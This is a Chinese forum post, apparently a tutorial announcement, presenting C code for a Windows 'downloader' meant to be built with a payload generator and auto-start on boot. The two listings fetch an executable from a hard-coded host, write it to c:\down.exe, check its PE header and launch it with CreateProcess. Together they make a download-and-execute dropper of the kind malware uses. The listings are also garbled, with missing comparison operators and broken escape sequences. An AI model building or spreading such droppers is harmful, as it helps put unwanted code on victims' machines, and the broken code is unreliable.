签到

05月06日
尚未签到

共有回帖数 0

    顾我心安

    等级:
    给大家做一套 VC 编写下载器 的视频

    视频分为2部分
    1:服务端 实现下载 统计 开机启动
    2:生成器 界面编写 生成服务端.

    本节视频代码:
    #include "stdafx.h"
    #include stdlib.h
    #include WINSOCK2.h
    #pragma comment(lib,"WS2_32.LIB")


    BOOL Download(LPSTR szURL,LPSTR szSavePath)
    {

        WSADATA wsa;
        WSAStartup(MAKEWORD(2,2),&wsa);

        SOCKET m_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

        SOCKADDR_IN m_Addr={NULL};

        m_Addr.sin_family = AF_INET;
        m_Addr.sin_port = htons(80);
        m_Addr.sin_addr.S_un.S_addr = inet_addr("192.168.1.100");


        if(connect(m_Socket,(SOCKADDR *)&m_Addr,sizeof(SOCKADDR))==SOCKET_ERROR)
        {
            closesocket(m_Socket);
            return FALSE;
        }

        CHAR szSendBuffer[]="GET /calc.exe HTTP/1.1rn"
                            "Host:192.168.1.100rn"
                            "Accept:*/*rn"
                            "User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)rn"
                            "Connection:Keep-Alivern"
                            "rn";

        send(m_Socket,szSendBuffer,strlen(szSendBuffer),NULL);
       
        CHAR szRecvBuffer[1000]={NULL};
        WORD Size = sizeof(szRecvBuffer);

        ZeroMemory(szRecvBuffer,Size);

        WORD RecvLen = 0;
        RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
       
        puts(szRecvBuffer);

        DWORD FileSize =0;
       
        CHAR *Point = strstr(szRecvBuffer,"Content-Length: ");
        Point+=strlen("Content-Length: ");

        FileSize = atoi(Point);

        WORD RevcHttpSize =0;

        for (WORD i=0;iRecvLen;i++)
        {
            if(szRecvBuffer=='r')
            {
                if(szRecvBuffer[i+1]=='n'&&szRecvBuffer[i+2]=='r'&&szRecvBuffer[i+3]=='n')
                    break;
            }
        }
        i+=4;

        DeleteFile(szSavePath);

        HANDLE m_Handle = CreateFile(szSavePath,GENERIC_WRITE,FILE_SHARE_WRITE,
            NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);

        DWORD Written =0;
        DWORD iCount = 0;

        WriteFile(m_Handle,&szRecvBuffer,RecvLen-i,&Written,NULL);
        iCount+=RecvLen -i;

        do
        {
           
            RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
            iCount+=RecvLen;

            WriteFile(m_Handle,szRecvBuffer,RecvLen,&Written,NULL);

        } while (iCount  FileSize);

        closesocket(m_Socket);
        CloseHandle(m_Handle);

        puts("下载成功!");
        return TRUE;
    }

    int main(int argc, char* argv[])
    {
        Download(NULL,"c:\down.exe");

        return 0;
    }

    视频语音.
    下载地址 1楼发上来 上传中.

    http://u.115.com/file/f699961fba
    不知道百度吞不吞
    预防百度吞地址
    改一下
    http://u点115点com/file/f699961fba
    #include "stdafx.h"
    #include stdlib.h
    #include WINSOCK2.h
    #pragma comment(lib,"WS2_32.LIB")
    #include Shellapi.h
    #pragma comment(lib,"shell32.lib")



    BOOL Download(LPSTR szURL,LPSTR szSavePath)
    {

        WSADATA wsa;
        WSAStartup(MAKEWORD(2,2),&wsa);

        SOCKET m_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

        SOCKADDR_IN m_Addr={NULL};

        m_Addr.sin_family = AF_INET;
        m_Addr.sin_port = htons(80);
        m_Addr.sin_addr.S_un.S_addr = inet_addr("192.168.1.100");


        if(connect(m_Socket,(SOCKADDR *)&m_Addr,sizeof(SOCKADDR))==SOCKET_ERROR)
        {
            closesocket(m_Socket);
            return FALSE;
        }

        CHAR szSendBuffer[]="GET /calc.exe HTTP/1.1rn"
                            "Host:192.168.1.100rn"
                            "Accept:*/*rn"
                            "User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)rn"
                            "Connection:Keep-Alivern"
                            "rn";

        send(m_Socket,szSendBuffer,strlen(szSendBuffer),NULL);
       
        CHAR szRecvBuffer[1000]={NULL};
        WORD Size = sizeof(szRecvBuffer);

        ZeroMemory(szRecvBuffer,Size);

        WORD RecvLen = 0;
        RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
       
        puts(szRecvBuffer);

        DWORD FileSize =0;
       
        CHAR *Point = strstr(szRecvBuffer,"Content-Length: ");
        Point+=strlen("Content-Length: ");

        FileSize = atoi(Point);

        WORD RevcHttpSize =0;

        for (WORD i=0;iRecvLen;i++)
        {
            if(szRecvBuffer=='r')
            {
                if(szRecvBuffer[i+1]=='n'&&szRecvBuffer[i+2]=='r'&&szRecvBuffer[i+3]=='n')

                break;
            }
        }
        i+=4;

        DeleteFile(szSavePath);

        HANDLE m_Handle = CreateFile(szSavePath,GENERIC_WRITE,FILE_SHARE_WRITE,
            NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);

        DWORD Written =0;
        DWORD iCount = 0;

        WriteFile(m_Handle,&szRecvBuffer,RecvLen-i,&Written,NULL);
        iCount+=RecvLen -i;

        do
        {
           
            RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
            iCount+=RecvLen;

            WriteFile(m_Handle,szRecvBuffer,RecvLen,&Written,NULL);

        } while (iCount  FileSize);

        closesocket(m_Socket);
        CloseHandle(m_Handle);

        puts("下载成功!");
        return TRUE;
    }

    BOOL CheckPeFile(LPSTR szFilePath)
    {
        //http://hi.baidu.com/8ohack/blog/item/0ab2deeb557d8cdfd539c9ac.html
        FILE *stream   = fopen(szFilePath,"rb");
        if(stream == NULL)
            return FALSE;

        IMAGE_DOS_HEADER idh;

        fread(&idh,sizeof(IMAGE_DOS_HEADER),1,stream);

        if(idh.e_magic != 0x5A4D)
        {
            fclose(stream);
            return FALSE;
        }
       
        fseek(stream,idh.e_lfanew,SEEK_SET);

        IMAGE_NT_HEADERS32 inh;

        fread(&inh,sizeof(IMAGE_NT_HEADERS32),1,stream);

        if(inh.Signature != 0x4550)
        {
            fclose(stream);
            return FALSE;
        }

        fclose(stream);
        return TRUE;

    }


    void MyExeCute(LPSTR szFilePath)
    {
        //http://baike.baidu.com/view/1286882.htm

        //WinExec(szFilePath,SW_SHOW);

        //http://baike.baidu.com/view/1044533.htm
        //ShellExecute(NULL,"open",szFilePath,NULL,NULL,SW_SHOW);


        //http://baike.baidu.com/view/697167.htm
        STARTUPINFO st;
        ZeroMemory(&st,sizeof(STARTUPINFO));
       
        st.cb =sizeof(STARTUPINFO);
        st.dwFlags = STARTF_USESHOWWINDOW;
        st.wShowWindow = SW_SHOW;
       
        PROCESS_INFORMATION pi;
       
        CreateProcess(szFilePath,NULL,NULL,NULL,FALSE,CREATE_NEW_PROCESS_GROUP,NULL,NULL,
            &st,&pi);
       
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

    }

    int main(int argc, char* argv[])
    {
        Download(NULL,"c:\down.exe");
       
        if(CheckPeFile("c:\down.exe")==FALSE)
            return 0;

        MyExeCute("c:\down.exe");

        return 0;
    }
    第二套视频出来了

    第一: 运行文件的 几种方式
    第二: 检测文件是否是PE文件
    视频下载地址:
    http://u.115.com/file/f632027e0d

    楼主 2015-11-12 19:32 回复

共有回帖数 0
  • 回 帖
  • 表情 图片 视频
  • 发表

登录直线网账号

Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号 意见反馈 | 关于直线 | 版权声明 | 会员须知